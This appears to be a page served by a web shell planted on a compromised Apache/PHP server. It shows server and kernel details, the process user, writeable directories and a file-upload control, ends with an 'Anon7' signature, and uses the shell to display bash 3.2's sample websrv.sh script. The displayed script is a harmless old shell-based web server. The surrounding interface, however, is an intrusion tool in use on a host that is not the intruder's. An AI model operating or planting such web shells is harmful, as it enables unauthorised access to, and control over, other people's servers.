KGRKJGETMRETU895U-589TY5MIGM5JGB5SDFESFREWTGR54TY
Server : Apache/2.2.17 (Unix) mod_ssl/2.2.17 OpenSSL/0.9.8e-fips-rhel5 DAV/2 PHP/5.2.17
System : Linux localhost 2.6.18-419.el5 #1 SMP Fri Feb 24 22:47:42 UTC 2017 x86_64
User : nobody ( 99)
PHP Version : 5.2.17
Disable Function : NONE
Directory :  /proc/21572/root/usr/share/doc/bash-3.2/scripts/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //proc/21572/root/usr/share/doc/bash-3.2/scripts/websrv.sh
#!/bin/sh
#for instructions or updates go to:
#<A HREF="http://math.ucr.edu:8889/">This script's home page</A>
#email me questions or comments at:
#<A HREF="mailto:insom@math.ucr.edu">insom@math.ucr.edu</A>
#copyright chris ulrich; This software may be used or modified
#in any way so long as this notice remains intact.
#
# WWW server in sh
# Author: Chris Ulrich <chris@tinker.ucr.edu>
#

INDEX=index.html
date=`date`
DOCHOME=/home/insom/web-docs
BINHOME=/home/insom/web-bin
LOGHOME=/home/insom/web-logs
LOGFILE=$LOGHOME/access_log
#verbose=:
verbose=echo
exec 2>> $LOGHOME/error_log

hheader() {
echo "HTTP/1.0 200 OK
Server: WebSH/2.00
Connection: close
Date: $date"
}

header() {
echo "Content-type: $1
"
}

no_url() {
  header "text/plain"
  echo "No such url $1"
}

send() {
  #case "$#" in 2) ;; *) echo eep! | mailx insom@math.ucr.edu  ; exit 3 ;; esac
  if test -f "$DOCHOME/$2"
  then
    header "$1"
    cat "$DOCHOME/$2"
  else
    no_url "$2"
  fi
}

LsToHTML() {
  if test -f "$DOCHOME/$url/.title"
  then
    header "text/html; charset=US-ASCII"
    echo "<pre>"
    cat "$DOCHOME/$url/.title"
    echo "</pre>"
  elif test -f "$DOCHOME/$url/.title.html"
  then
    header "text/html; charset=US-ASCII"
    cat "$DOCHOME/$url/.title.html"
  else
    header "text/html; charset=US-ASCII"
  fi

  case "$url" in 
     /) ;;
     *) url="$url/"
  esac

  while read link
  do
   case $link in
     *.cgi) ;;
     *)
        echo "<A HREF=\"$url$link\">$link</A> <BR>"
     ;;
   esac
  done
}

read method data

$verbose "
$date access from ${TCPREMOTEINFO:=NO-IDENT}@${TCPREMOTEHOST:=$TCPREMOTEIP}
	on local machine $TCPLOCALHOST
	 $method $data " >> $LOGFILE

for hopeurl in $data
do
  url="${url}${url:+ }$second"
  second="$hopeurl"
done

case "$second" in
  *[1-9].*) 
     read inheader
     while 
        case "$inheader" in 
          ?|'') false 
           ;;
          *) 
            read inheader
           ;; 
        esac 
     do
       :
     done
     hheader
  ;;
esac

case "$url" in
  *..*)
    no_url "$url"
    exit 1
   ;;
  *.txt|*.[ch])
    send "text/plain; charset=US-ASCII" "$url"
    ;;
  *.html)
    send "text/html; charset=US-ASCII" "$url"
   ;;
  *.cgi)
    if test -x "$DOCHOME/$url" 
    then 
      read message
      echo "$message" | "$DOCHOME/$url"
    else
      no_url "$url"
    fi
   ;;
  *".cgi?"*)
    oIFS="$IFS"
    echo "$url"  | { 
      IFS='?' read url QUERY_STRING
      if test -x "$DOCHOME/$url" 
      then
        IFS="$oIFS"
        export QUERY_STRING 
        "$DOCHOME/$url" 
      else
        no_url "$url"
      fi
       }
   ;;
  *.[Gg][Ii][Ff])
    send "image/gif" "$url"
   ;;
  *.[Jj][Pp][Gg]|*.[Jj][Pp][Ee][Gg])
    send "image/jpeg" "$url"
   ;;
  *.tbl)
    header "text/html; charset=US-ASCII"
    echo "<pre>"
    test -f "$DOCHOME/$url" && 
      tbl < "$DOCHOME/$url"  | nroff ||
      no_url "$url" 
    echo "</pre>"
   ;;
  *.nroff)
    header "text/html; charset=US-ASCII"
    echo "<pre>"
    test -f "$DOCHOME/$url" && 
      nroff < "$DOCHOME/$url" ||
      no_url "$url" 
    echo "</pre>"
   ;;
  *mp[23])
    if test -f "$DOCHOME/$url" 
    then
      header "application/mpstream"
      echo "+$TCPLOCALIP:${MPSERVPORT:=9001}/$url"
    else 
      no_url "$url" 
    fi
   ;;
  *.[0-9]|*.[0-9][a-z])
    header "text/html; charset=US-ASCII"
    echo "<pre>"
    if test -f "$DOCHOME/$url" 
    then
      #nroff -man  "$DOCHOME/$url" | $BINHOME/man2html
      echo "perl at the moment is broken, so man2html doesn't work.  Sorry."
      echo "</pre>"
    else 
      no_url "$url"
    fi
   ;;
  *.???|*.??)
    send "unknown/data" "$url"
   ;;
  */)
    if test -d "$DOCHOME/$url"
    then 
      ls "$DOCHOME/$url" | LsToHTML
    fi
   ;;
  *)
   if test -f "$DOCHOME/$url"
   then
     read filetype < "$DOCHOME/$url"
     case "$filetype" in
       \#!/*/*|\#!?/*/*)
         header "text/plain; charset=US-ASCII"
         cat "$DOCHOME/$url"
         ;;
       '<!*>')
         header "text/html; charset=US-ASCII"
         cat "$DOCHOME/$url"
        ;;
       *)
         header "text/html; charset=US-ASCII"
         echo "<pre>"
         cat "$DOCHOME/$url"
         echo "</pre>"
        ;;
     esac
   elif test -f "$DOCHOME/$url/$INDEX"
   then
     header "text/html; charset=US-ASCII"
     cat "$DOCHOME/$url/$INDEX"
   elif test -d "$DOCHOME/$url"
   then 
     ls "$DOCHOME/$url" | LsToHTML
   else
     no_url "$url" 
   fi
   ;;
esac

Anon7 - 2021